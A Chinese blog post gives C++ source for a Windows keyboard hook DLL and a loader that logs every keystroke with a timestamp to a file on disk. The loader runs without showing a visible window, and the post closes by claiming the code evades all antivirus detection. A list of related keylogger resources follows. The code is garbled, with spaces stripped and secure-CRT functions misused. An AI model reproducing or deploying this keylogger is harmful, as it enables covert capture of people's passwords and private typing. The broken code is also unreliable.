`
wo_deqing
  • 浏览: 64077 次
文章分类
社区版块
存档分类
最新评论

如何实现Windows下的键盘监听

 
阅读更多

要实现键盘监听,有很多办法,本例程是使用的钩子程序实现的。

首先要建立一个动态库,源码如下(该源码来自网络,并非本人作品):

hookdll.cpp

  1. #include<windows.h>
  2. #include<time.h>
  3. #include"string.h"
  4. #include"stdio.h"
  5. HINSTANCEhInst;
  6. //创造数据段
  7. //#pragma语句之后的所有初始化的变量都进入hookdata段中
  8. #pragmadata_seg("hookdata")
  9. HHOOKoldkeyhook=0;
  10. //#pragma语句是数据段的结束标志
  11. #pragmadata_seg()
  12. //链接程序必须知道有个hookdata段
  13. //连接语句"/SECTION:hookdata,RWS"
  14. //字母RWS是表明该段具有读、写、和共享属性
  15. #pragmacomment(linker,"/SECTION:hookdata,RWS")
  16. time_tNowTime=0;
  17. #defineDllExportextern"C"__declspec(dllexport)
  18. //钩子进程入口地址
  19. DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam);
  20. //设置钩子
  21. DllExportvoidInstallHook(intnCode);
  22. //
  23. DllExportvoidEndHook(void);
  24. //dll入口
  25. BOOLWINAPIDllMain(HINSTANCEhInstance,//dll实例句柄
  26. ULONGWhat,//指定所发生的事件
  27. LPVOIDNotUsed)//保留参数
  28. {
  29. switch(What)
  30. {
  31. caseDLL_PROCESS_ATTACH://进程开始使用DLL
  32. hInst=hInstance;
  33. break;
  34. caseDLL_PROCESS_DETACH://进程开始释放DLL
  35. break;
  36. caseDLL_THREAD_ATTACH://进程已经创建一个新的线程
  37. break;
  38. caseDLL_THREAD_DETACH://进程已经舍弃一个线程
  39. break;
  40. }
  41. return1;
  42. }
  43. voidInstallHook(intnCode)
  44. {
  45. //设置钩子钩子类型(键盘消息)应用程序的事件句柄
  46. oldkeyhook=SetWindowsHookEx(WH_KEYBOARD,
  47. (HOOKPROC)KeyBoardProc,//钩子进程的入口地址
  48. hInst,//应用程序的事件句柄
  49. 0);//装入钩子的线程标示
  50. }
  51. //钩子进程入口地址
  52. DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)
  53. {
  54. WPARAMj;
  55. FILE*fp;
  56. if(lParam&0x80000000)
  57. {
  58. j=wParam;
  59. //fp=fopen("c://Eddy.txt","a");
  60. fp=fopen_s("c://Eddy.txt","a");
  61. time(&NowTime);
  62. //fprintf(fp,"%s",ctime(&NowTime));
  63. fprintf(fp,"%s",ctime_s(&NowTime));
  64. fprintf(fp,"%4d/n",j);
  65. fclose(fp);
  66. }
  67. //用于对当前钩子链中的下一个钩子进程传递钩子信息
  68. returnCallNextHookEx(oldkeyhook,//当前钩子句柄
  69. nCode,//传送到钩子进程的钩子代码
  70. wParam,//传送到钩子进程的值。
  71. lParam);//传送到钩子进程的值。
  72. }
  73. voidEndHook(void)
  74. {
  75. //钩子释放
  76. UnhookWindowsHookEx(oldkeyhook);
  77. }

下面给出监听实现:

Header.h

  1. #pragmaonce
  2. #include<windows.h>
  3. #defineWINDOW_WIDTH1024
  4. #defineWINDOW_HEIGHT768
  5. #defineKEYDOWN(c)(GetAsyncKeyState(c)&0x8000?1:0)
  6. #defineKEYUP(c)(GetAsyncKeyState(c)&0x8000?0:1)

Header.cpp

  1. #pragmaonce
  2. #include<windows.h>
  3. #defineWINDOW_WIDTH1024
  4. #defineWINDOW_HEIGHT768

Windows.cpp

  1. #include"Header.h"
  2. #pragmacomment(lib,"hook")
  3. extern"C"__declspec(dllimport)voidInstallHook(intnCode);
  4. extern"C"__declspec(dllimport)voidEndHook(void);
  5. LRESULTCALLBACKWndProc(HWNDhWnd,UINTMessage,WPARAMwParam,LPARAMlParam)
  6. {
  7. switch(Message)
  8. {
  9. caseWM_CREATE:
  10. InstallHook(TRUE);
  11. break;
  12. caseWM_DESTROY:
  13. EndHook();
  14. PostQuitMessage(0);
  15. break;
  16. }
  17. returnDefWindowProc(hWnd,Message,wParam,lParam);
  18. }
  19. intWINAPIWinMain(INHINSTANCEhInstance,INHINSTANCEhPrevInstance,INLPSTRlpCmdLine,INintnShowCmd)
  20. {
  21. HWNDhWnd;
  22. MSGmsg;
  23. WNDCLASSwc={CS_VREDRAW|CS_HREDRAW,WndProc,NULL,NULL,hInstance,NULL,NULL,(HBRUSH)GetStockObject(BLACK_BRUSH),NULL,"Windows"};
  24. RegisterClass(&wc);
  25. hWnd=CreateWindowEx(WS_EX_TOPMOST,"Windows","demo",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL);
  26. SetWindowLong(NULL,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  27. //UpdateWindow(hWnd);
  28. //ShowWindow(hWnd,nShowCmd);
  29. while(true)
  30. {
  31. if(GetMessage(&msg,NULL,0U,0U))
  32. {
  33. if(msg.message==WM_QUIT)
  34. {
  35. break;
  36. }
  37. TranslateMessage(&msg);
  38. DispatchMessage(&msg);
  39. }
  40. }
  41. UnregisterClass("Windows",hInstance);
  42. return0;
  43. }

经过测试,该例程可躲避所有反病毒软件的查杀。

分享到:
评论

相关推荐

    windows键盘消息监听 ServerSocket实现键盘监听

    在"windows键盘消息监听 ServerSocket实现键盘监听"这个主题中,我们将探讨如何结合这两个概念,即利用`ServerSocket`来监听和记录Windows系统的键盘输入。 首先,我们需要理解Windows的消息机制。在Windows编程中...

    java 监听windows系统热键组合

    在Java编程环境中,有时我们需要实现一个功能,即监听Windows系统的热键组合,以便在用户按下特定的键盘快捷键时执行相应的操作。这个功能在开发桌面应用程序时非常有用,特别是使用Swing作为UI框架的时候。标题提到...

    Wx键盘监听器1.0

    标签“Hook 键盘监听器 键盘钩子”点出了Wx键盘监听器1.0实现键盘监听功能的核心技术——Hook技术。Hook技术是Windows系统中一种非常强大的编程技术,它允许一个程序截获并处理系统中的各种事件,比如键盘输入事件。...

    windows后台监听键盘事件(vs mfc版)

    通过以上步骤,我们创建了一个使用MFC的Windows后台键盘事件监听器。它通过HOOK技术捕获并记录键盘输入,将事件详情写入指定的日志文件。注意,这样的操作可能涉及隐私问题,因此在实际应用中应确保符合法律法规,并...

    C#进行监听键盘的代码

    在C#编程环境中,我们可以利用Windows消息机制来实现键盘监听的功能。这主要涉及到Windows API的调用,尤其是`SetWindowsHookEx`函数,它允许我们插入一个钩子,捕获到系统中的键盘事件。下面我们将深入探讨如何在C#...

    基于IOAPIC重定位的 键盘监听技术及防御

    通过对IOAPIC重定位技术的研究,实现了针对单核系统和多核系统的键盘监听和记录。在Windows Driver Kits7.0.1中编译生成的驱动,能够记录键盘信息,引起重要信息的泄露。通过提出的防御键盘监听的方法能够有效地预防...

    键盘监听程序之通过消息映射实现

    总结来说,通过消息映射实现键盘监听是一种常见的技术手段,它涉及Windows消息处理机制、MFC框架以及键盘事件的捕获和记录。在实际应用中,这类程序应当遵循严格的隐私政策,确保合法性和安全性。对于有兴趣深入学习...

    Qt后台监听键盘按键事件

    该实例程序使用Qt进行,windows的键盘后台监听,即使Qt桌面程序失去焦点在后台运行,也会捕捉到按键事件 这个程序使用windows的钩子(hook)实现的,Qt官方没有相关的实现 关于编译,我用的是Qt5.9.7 MinGW32位,我...

    jquery 监听 键盘 事件

    在JavaScript的世界里,...总结,jQuery监听键盘事件是提升网页交互体验的重要手段,通过灵活运用`.on()`方法和事件处理函数,可以实现各种复杂的用户交互逻辑。了解并掌握这些技巧,将有助于提升你的前端开发能力。

    C# 钩子键盘监听

    在IT领域,尤其是在软件开发中,"C# 钩子键盘监听"是一个常见的主题,主要涉及Windows应用程序的用户输入监控。在这个项目中,我们关注的是如何使用C#编程语言来实现一个键盘钩子,以便捕获并处理键盘事件。键盘监听...

    监听键盘代码版

    本文将深入探讨如何使用`GetAsyncKeyState`函数实现全键盘监听,并解释如何处理返回的键盘码来转换为对应的字母数字字符。 `GetAsyncKeyState`是Windows API中的一个函数,用于检测指定虚拟键的状态。它能提供一种...

    利用Hook技术实现键盘监控

    ### 利用Hook技术实现键盘监控 #### 一、Hook(钩子)的实现: **Hook** 技术是微软Windows操作系统中一个非常强大的功能,它允许开发者在系统级别捕获特定类型的事件或消息,例如键盘输入、鼠标移动等。通过使用...

    Monitor_keyboard_input.rar_Keyboardinput_键盘 监听_键盘 记录_键盘输入

    在"键盘输入监听"这个文件中,可能包含了实现键盘监听的示例代码,如C++或C#,初学者可以通过阅读和运行这些代码来了解和学习键盘监听的具体实现。同时,理解钩子工作原理和操作系统事件处理流程,也是深入学习...

    netscanner_键盘全局监听_

    在实现全局键盘监听时,需要注意以下几点: 1. **权限和安全**:全局键盘监听可能涉及用户隐私,因此在设计此类程序时应遵循最小权限原则,并明确告知用户。在某些情况下,系统可能会限制或者阻止非管理员权限的程序...

    windows内核开发之键盘记录源码

    本文将聚焦于一个特定的内核开发实例——键盘记录器,通过分析“ctrl2cap”这个源码,揭示其在Windows内核层实现键盘监控和记录的原理。 键盘记录器,顾名思义,是一种可以捕捉并存储用户键盘输入的程序。在系统...

    Java监听键盘鼠标全局事件[定义].pdf

    Java监听键盘事件可以通过使用Windows Hook机制来实现。通过设置键盘Hook,可以捕捉键盘按键事件,并将其传递给Java应用程序。Java应用程序可以通过JNI调用native方法来处理键盘事件。 四、Java监听鼠标事件 Java...

    在Windows下实现Java程序的屏幕鼠标键盘监控.pdf

    在Windows下实现Java程序对屏幕、鼠标和键盘的监控,虽然可以通过标准的Java事件监听接口实现基本功能,但对于更复杂或系统级的需求,可能需要结合JNI和Windows API来增强监控能力。这要求开发者不仅要熟悉Java编程...

    HOOK技术实现键盘记录器

    在本案例中,HOOK被用来监听和记录用户的键盘输入,实现键盘记录器的功能。 键盘记录器是一种能够监控并记录用户在键盘上敲击的所有字符的程序。在安全领域,它可能被用于恶意目的,如窃取密码或敏感信息;而在合法...

    WPF 使用windows钩子监控键盘

    以上就是使用C#、WPF和WinAPI在Windows平台上实现键盘钩子的基本流程。通过这种方法,你可以在WPF应用中获取并处理底层的键盘事件,满足特定的需求,如游戏作弊检测、自动化测试或者特殊输入处理等场景。请记住,...

    使用C#语言实现的 屏幕键盘

    屏幕键盘是一种用户界面元素,常用于触摸设备或安全应用程序中,以替代物理键盘输入,防止键盘监听等安全问题。在本项目中,我们探讨的是如何使用C#编程语言来实现一个屏幕键盘。C#,全称C Sharp,是微软开发的一种...

Global site tag (gtag.js) - Google Analytics